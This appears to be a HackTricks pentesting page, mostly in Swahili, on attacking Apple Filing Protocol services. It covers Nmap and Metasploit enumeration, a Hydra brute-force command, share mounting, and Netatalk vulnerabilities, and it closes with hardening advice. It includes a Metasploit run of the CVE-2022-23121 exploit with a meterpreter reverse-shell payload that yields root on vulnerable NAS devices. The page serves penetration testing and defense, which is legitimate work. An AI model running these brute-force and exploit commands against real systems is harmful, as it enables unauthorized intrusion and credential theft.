548 - Pentesting Apple Filing Protocol (AFP)
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Taarifa za Msingi
The Apple Filing Protocol (AFP), once known as AppleTalk Filing Protocol, ni protocol maalum ya mtandao iliyojumuishwa ndani ya Apple File Service (AFS). Imetengenezwa kutoa huduma za faili kwa macOS na classic Mac OS. AFP inajitofautisha kwa kuunga mkono majina ya faili ya Unicode, ruhusa za aina ya POSIX na ACL, resource forks, named extended attributes na mbinu za hali ya juu za kufunga faili.
Ingawa AFP imebadilishwa na SMB katika toleo za kisasa za macOS (SMB ni chaguo-msingi tangu OS X 10.9), bado inakutana katika:
- Mazingira ya zamani ya macOS / Mac OS 9
- Vifaa vya NAS (QNAP, Synology, Western Digital, TrueNAS…) vinavyojumuisha daemon wa chanzo wazi Netatalk
- Mitandao mchanganyiko ya OS ambapo Time-Machine-over-AFP bado imewezeshwa
Default TCP Port: 548 (AFP over TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
Uorodheshaji
Bango la haraka / taarifa za seva
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
Script za AFP NSE zinazofaa:
| Script | Inafanya nini |
|---|---|
| afp-ls | Orodhesha volumu za AFP na faili zinazopatikana |
| afp-brute | Brute-force ya nywila dhidi ya login ya AFP |
| afp-serverinfo | Dump jina la server, aina ya mashine, toleo la AFP, UAMs zinazotumika, n.k. |
| afp-showmount | Orodhesha shares pamoja na ACLs zao |
| afp-path-vuln | Inagundua (na inaweza kutumia) directory-traversal, CVE-2010-0533 |
Script ya NSE brute-force inaweza kuchanganywa na Hydra/Medusa ikiwa udhibiti zaidi unahitajika:
hydra -L users.txt -P passwords.txt afp://<IP>
Ikiwa tayari una credentials, Nmap’s AFP scripts zinakuwa muhimu zaidi kwa sababu afp-serverinfo leaks the advertised UAMs (auth methods), wakati afp-showmount na afp-ls zinaweza ku-enumerate reachable shares, ACLs na interesting files:
nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>
Lipa tahadhari kwa:
- Machine Type: Netatalk katika output ya
afp-serverinfo, ambayo kawaida ina maana ya mwenyeji wa NAS / Unix badala ya utekelezaji wa AFP wa Apple. - UAMs kama
DHX,DHX2,CleartxtauGuest, kwa sababu zinaonyesha moja kwa moja njia za kuingia zinazoweza kufikiwa na ikiwa legacy / weak auth imewezeshwa. - Share ACLs kutoka
afp-showmount; world-readable au drop-box style shares mara nyingi zinafunua backups,.applfiles, na metadata ya watumiaji kabla haujamount volume.
Kuingiliana na shares
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (kutumia afpfs-ng ‑ inapatikana katika distros nyingi)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
Mara baada ya ku-mount, kumbuka kwamba resource-forks za classic Mac huhifadhiwa kama fiche ._* AppleDouble mafaili – hizi mara nyingi zina metadata ya kuvutia ambayo zana za DFIR hupuuza.
On Netatalk targets hii metadata backend pia ina umuhimu kwa uwezo wa exploit:
ea = adina maana metadata huhifadhiwa katika AppleDouble v2 files /.AppleDoubledirectories.ea = sysauea = sambahuhifadhi metadata katika filesystem extended attributes badala yake.- Katika Netatalk 4.2+ chaguo la zamani
appledoubleliliondolewa na backend inadhibitiwa kabisa kupitia chaguo laea.
Kwa mtazamo wa mashambulizi, hili linakuwezesha kuamua haraka kama AppleDouble-oriented bugs zina uwezekano mkubwa wa kupatikana kwenye server.
Udhaifu wa Kawaida na Utekelezaji
Netatalk mnyororo wa RCE isiyothibitishwa (2022)
Baadhi ya wauzaji wa NAS walitumia Netatalk ≤3.1.12. Ukosefu wa ukaguzi wa mipaka katika parse_entries() unamruhusu mshambuliaji kutengeneza header hatari ya AppleDouble na kupata remote root kabla ya uthibitisho (CVSS 9.8 – CVE-2022-23121). Maelezo kamili na PoC ya NCC Group yanayotumia Western-Digital PR4100 yapo.
Metasploit (>= 6.3) inajumuisha module exploit/linux/netatalk/parse_entries ambayo inawasilisha payload kupitia DSI WRITE.
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
Ikiwa lengo linaendesha firmware ya QNAP/Synology iliyoathiriwa, ukitumia udhaifu kwa mafanikio utapata shell kama root.
Netatalk OpenSession heap overflow (2018)
Netatalk ya zamani (3.0.0 - 3.1.11) ina ulegevu wa out-of-bounds write katika handler ya DSI OpenSession ambayo inaruhusu unauthenticated code execution (CVE-2018-1160). Uchanganuzi wa kina na PoC vili chapishwa na Tenable Research.
Newer Netatalk attack surface (2022-2024)
Taarifa za hivi karibuni za Netatalk zinaonyesha kwamba attack surface haijawahi kuwekewa mipaka kwa parse_entries() na utunzaji wa OpenSession:
- CVE-2022-45188: faili la
.appllililotengenezwa mahsusi linaweza kusababisha heap overflow katikaafp_getappl; hili ni muhimu hasa ikiwa unaweza write files into a share na server inaendesha vipengele vya FCE / notify. - CVE-2023-42464: mdudu wa type confusion katika Spotlight RPC handlers unaweza kuwa wa kufikiwa wakati
spotlight = yesimewezeshwa katikaafp.conf(imezimwa kwa default). - CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: one-byte heap out-of-bounds writes katika login-related paths zilirekebishwa katika Netatalk 2.4.1 / 3.1.19 / 3.2.1. Mende hizi ni za kuvutia kwa sababu exploitability inategemea UAMs zilizosanidiwa:
uams_clrtxt.so+ PAM-backed ClearTxt login inafichua njia yaFPLoginExtinayohusiana na CVE-2024-38439.uams_dhx.so+ PAM-backed DHX login inafikia njia hatarishi inayohusiana na CVE-2024-38440.uams_guest.soinafanya njia ya Guest login iweze kufikiwa kwa CVE-2024-38441.
Hii inamaanisha kwamba matokeo ya afp-serverinfo si data ya fingerprinting tu; inakusaidia kuamua ni login parser gani imefichuliwa kabla ya kutumia muda kwenye exploit development au NAS firmware triage.
Other notable issues
- CVE-2022-22995 – Symlink redirection inayopelekea arbitrary file write / RCE wakati AppleDouble v2 imewezeshwa (3.1.0 - 3.1.17).
- CVE-2010-0533 – Directory traversal katika Apple Mac OS X 10.6 AFP (inakutwa na
afp-path-vuln.nse). - Multiple memory-safety bugs zilirekebishwa tena wakati wa 2024 Netatalk releases; ikiwa unaona
Netatalkkwenyeafp-serverinfo, tumia dakika moja kuoanisha UAMs zilizofichuliwa / Spotlight / metadata backend na toleo la server kabla ya kudhani kwamba mende za 2018/2022 pekee ndizo muhimu.
Mapendekezo ya Ulinzi
- Disable AFP isipokuwa ni muhimu kabisa – tumia SMB3 au NFS badala yake.
- Ikiwa AFP inapaswa kubaki, upgrade Netatalk to ≥ 3.1.18 or 4.x, au apply vendor firmware inayorejesha (back-ports) patches za 2022/2023/2024.
- Weka sera za Strong UAMs (mf. DHX2), zima clear-text na guest logins.
- Zuia TCP 548 kwa subnets zilizotamkwa na funika AFP ndani ya VPN wakati imefichuliwa kwa mbali.
- Fanya skani mara kwa mara kwa kutumia
nmap -p 548 --script afp-*katika CI/CD ili kugundua appliances zisizo za kawaida au zilizopunguzwa (downgraded).
Brute-Force
References
- Netatalk Security Advisory CVE-2022-23121 – “Arbitrary code execution in parse_entries” https://netatalk.io/security/CVE-2022-23121
- Tenable Research – “Exploiting an 18-Year-Old Bug (CVE-2018-1160)” https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
- Netatalk Security Advisories index https://netatalk.io/security.html
- Netatalk 4.2.0 Release Notes https://netatalk.io/4.2/ReleaseNotes4.2.0
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.


